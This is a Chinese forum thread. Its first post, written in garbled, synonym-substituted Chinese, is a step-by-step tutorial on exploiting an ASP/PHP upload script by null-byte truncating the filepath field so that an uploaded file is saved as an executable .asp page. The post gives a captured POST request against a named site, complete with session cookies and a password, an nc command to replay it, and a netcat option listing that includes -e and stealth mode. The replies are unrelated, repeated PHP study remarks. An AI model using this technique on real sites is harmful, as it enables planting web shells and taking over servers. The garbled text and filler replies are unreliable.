柔情似水 发表于 2015-2-4 00:31:09

PHP网站制作之PHP/ASP上传破绽探求

看看西,人家这个编论坛,那个CMS,还有那啥CRM,我啥时候写一个呢?上传|上传破绽   1:传破绽使用的道理只是针对form格局上传的asp和php剧本***
nc(netcat)
   用于提交数据包
   dos界面下运转:
   nc -vv www.***.com 80<1.txt
   -vv: 回显
   80:www端口
   1.txt: 就是你要发送的数据包
(更多利用办法请检查本区的帖子)
wse(wsockexpert)
   对本机端口的监督,抓取ie提交的数据包
2:破绽道理
上面例子假定的条件
www主机:www.***.com;
bbs途径 :/bbs/
破绽源于对动网上传文件的研讨,建议有必定编程经历的
看看dvbbs的upfile.asp文件,没有需要全体看懂
upfile是经由过程生成一个form表上传,以下
<form name="form" method="post" action="upfile.asp" ...>
<input type="hidden" name="filepath" value="uploadface">
<input type="hidden" name="act" value="upload">
<input type="file" name="file1">
<input type="hidden" name="fname">
<input type="submit" name="submit" value="上传" ...></form>
用到的变量:
filepath 默许值uploadface 属性hiden
act      默许值upload   属性hiden
file1    就是你要传的谁人文件
关头是 filepath 这个变量!
默许情形下咱们的文件上传到www.***.com/bbs/uploadface/
文件是用你的上传工夫定名的,就是upfile里的这一句
filename=formpath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&rannum&"."&fileext
--------------------------------------
咱们晓得盘算机外面的数据是一""为美丽的用过c言语的都晓得
char data[]="bbs"
这个data数组长度是4: b b s
假如咱们机关filepath以下,会怎样呢?
filepath="/newmm.asp"
咱们在2004.09.24.08.24传的文件就会产生变更
没有改时:
_blank>http://www.***.com/bbs/uploadface/200409240824.jpg
用咱们机关的filepath时:
_blank>http://www.***.com/newmm.asp/200409240824.jpg
如许当办事器吸收filepath数据时,检测到newmm.asp前面的
就了解为filepath的数据就停止了
如许咱们上传的文件,好比c:.asp
就保留成: _blank>http://www.***.com/newmm.asp
3:前期增补
破绽发布今后良多网站做了响应的处置,然而关于filepath的过滤和处置都不可
有良多网站只是加了n个hiden属性的变量凑合网上发布的upfile.exe就是谁人
上传破绽使用东西或filepath变量使用东西(老兵的)...然而最根基的没改啊。。
并且很对网站的插件里有相似的破绽,我要说的不要依附哪些专门的东西
本人改wse抓到的包里的filepath变量,然后在用nc提交。。。
就算他加n个hiden变量也于事无补。
固然,假如对filepath做了很严厉的过滤的话咱们的这些实际就将宣布终结
就是咱们的新实际出生的时分!

4:具体实例:
---------------------
1、wse抓包了局(存到1.txt里):
post /bbs/upphoto/upfile.asp http/1.1
accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
referer: _blank>http://www.xin126.com/bbs/upphoto/upload.asp
accept-language: zh-cn
content-type: multipart/form-data; boundary=-----------7d423a138d0278
accept-encoding: gzip, deflate
user-agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.1; .net clr 1.1.4322)
host: _blank>www.xin126.com
content-length: 1969
connection: keep-alive
cache-control: no-cache
cookie: aspsessionidaccccdcs=njhcphpalbcankobechkjanf; iscome=1; gamvancookies=1; regtime=2004%2d9%2d24+3%3a39%3a37; username=szjwwwww; pass=5211314; dl=0; userid=62; ltstyle=0; logintry=1; userpass=eb03f6c72908fd84

-----------------------------7d423a138d0278
content-disposition: form-data; name="filepath"

../medias/myphoto/
-----------------------------7d423a138d0278
... ...

上传
---------------7d423a138d0278-----------------
2、ultraedit翻开1.txt改数据:
......
-----------------------------7d423a138d0278
content-disposition: form-data; name="filepath"
/newmm.asp               <===这个黑色代表一个空格是 0x20,改成0x00就能够了
......
----------------------------
3、从头盘算cookies长度,然后nc提交

nc -vv _blank>www.xin126.com 80 <1.txt

ultraedit是一个16位编纂器网上可以下载失掉
咱们次要用来写谁人停止美丽: ====>16位暗示:0x00或00h
其实你改的时分就直接再filepath的开头处加个00就ok了

盘算cookies长度===>你把fillepath改了以后、一定是或+或―cookies的长度变了
......
host: _blank>www.xin126.com
content-length: 1969<======就是这个
connection: keep-alive
cache-control: no-cache
......
盘算会吧?一个字母、数字就是1

关于上传破绽提出的处理思绪:(仅供参考)

1、普通的上传是把上传途径作为一个变量来处置
===>咱们的对策就是把filepath酿成常量。。。
这个办法是今朝最无效的(我以为的)

2、增强关于的处置,本来咱们是读到这里就停止
咱们持续读直道下一个变量入手下手的中央,处置就ok了

附:NC Usage:
监听内部主机
      nc [-options] hostname port ...
监听当地主机
      nc -l -p port
options:
      -d            detach from console, stealth mode
      -e prog         inbound program to exec
      -g gateway      source-routing hop point, up to 8
      -g num          source-routing pointer: 4, 8, 12, ...
      -h            this cruft
      -i secs         delay interval for lines sent, ports scanned
      -l            listen mode, for inbound connects
      -l            listen harder, re-listen on socket close
      -n            numeric-only ip addresses, no dns
      -o file         hex dump of traffic
      -p port         local port number
      -r            randomize local and remote ports
      -s addr         local source address
      -t            answer telnet negotiation
      -u            udp mode
      -v            verbose
      -w secs         timeout for connects and final net reads
      -z            zero-i/o mode
port numbers can be individual or ranges: m-n
用C语言重新编写,包括可以访问数据库。他将这些程序和一些表单直译器整合起来,称为 PHP/FI。PHP/FI 可以和数据库连接,产生简单的动态网页程序。

乐观 发表于 2015-2-4 13:16:35

首先声明:我是一个菜鸟,是一个初学者。学习了一段php后总是感觉自己没有提高,无奈。经过反思我认为我学习过程中存在很多问题,我改变了学习方法后自我感觉有了明显的进步。

谁可相欹 发表于 2015-2-8 05:18:20

先学习php和mysql,还有css(html语言很简单)我认为现在的效果比以前的方法好。

小魔女 发表于 2015-2-9 16:33:39

这些中手常用的知识,当你把我说的这些关键字都可以熟练运用的时候,你可以选择自己

兰色精灵 发表于 2015-2-10 08:00:03

本文当是我的笔记啦,遇到的问题随时填充

仓酷云 发表于 2015-2-25 17:35:50

首先声明:我是一个菜鸟,是一个初学者。学习了一段php后总是感觉自己没有提高,无奈。经过反思我认为我学习过程中存在很多问题,我改变了学习方法后自我感觉有了明显的进步。

小妖女 发表于 2015-3-5 03:10:53

兴趣是最好的老师,百度是最好的词典。

若天明 发表于 2015-3-7 00:49:41

我学习了一段时间后,我发现效果并不好(估计是我自身的问题)。因为一个人的精力总是有限的,同时学习这么多,会导致每个的学习时间都得不到保证。

愤怒的大鸟 发表于 2015-3-11 05:23:13

刚开始安装php的时候,我图了个省事,把php的扩展全都打开啦(就是把php.ini 那一片 extension 前面的冒号全去掉啦),这样自然有好处,以后不用再需要什么功能再来打开。

admin 发表于 2015-3-14 03:22:01

作为一个合格的coder 编码的规范是必须,命名方面我推崇“驼峰法”,另外就是自己写的代码最好要带注释,不然时间长了,就算是自己的代码估计看起来都费事,更不用说别人拉。

因胸联盟 发表于 2015-3-20 16:51:17

学习php的目的往往是为了开发动态网站,phper就业的要求也涵盖了很多。我大致总结为:精通php和mysql

若相依 发表于 2015-3-22 00:34:23

作为一个合格的coder 编码的规范是必须,命名方面我推崇“驼峰法”,另外就是自己写的代码最好要带注释,不然时间长了,就算是自己的代码估计看起来都费事,更不用说别人拉。

不帅 发表于 2015-3-29 22:15:14

兴趣是最好的老师,百度是最好的词典。

再现理想 发表于 2015-4-3 18:55:42

做为1门年轻的语言,php一直很努力。

透明 发表于 2015-4-9 14:15:20

这些中手常用的知识,当你把我说的这些关键字都可以熟练运用的时候,你可以选择自己

金色的骷髅 发表于 2015-4-28 08:45:34

刚开始安装php的时候,我图了个省事,把php的扩展全都打开啦(就是把php.ini 那一片 extension 前面的冒号全去掉啦),这样自然有好处,以后不用再需要什么功能再来打开。

变相怪杰 发表于 2015-4-29 16:00:23

建议加几个专业的phper的群,当然啦需要说话的人多,一处一点问题能有人回答你的,当然啦要让人回答你的问题,平时就得躲在里面聊天,大家混熟啦,愿意回答你问题的人自然就多啦。

山那边是海 发表于 2015-5-4 10:50:38

先学习php和mysql,还有css(html语言很简单)我认为现在的效果比以前的方法好。

只想知道 发表于 2015-5-5 02:41:04

写js我最烦的就是 ie 和 firefox下同样的代码 结果显示的结果千差万别,还是就是最好不要用遨游去调试,因为有时候遨游是禁用js的,有可能代码是争取结果被遨游折腾的认为是代码写错。
页: [1]
查看完整版本: PHP网站制作之PHP/ASP上传破绽探求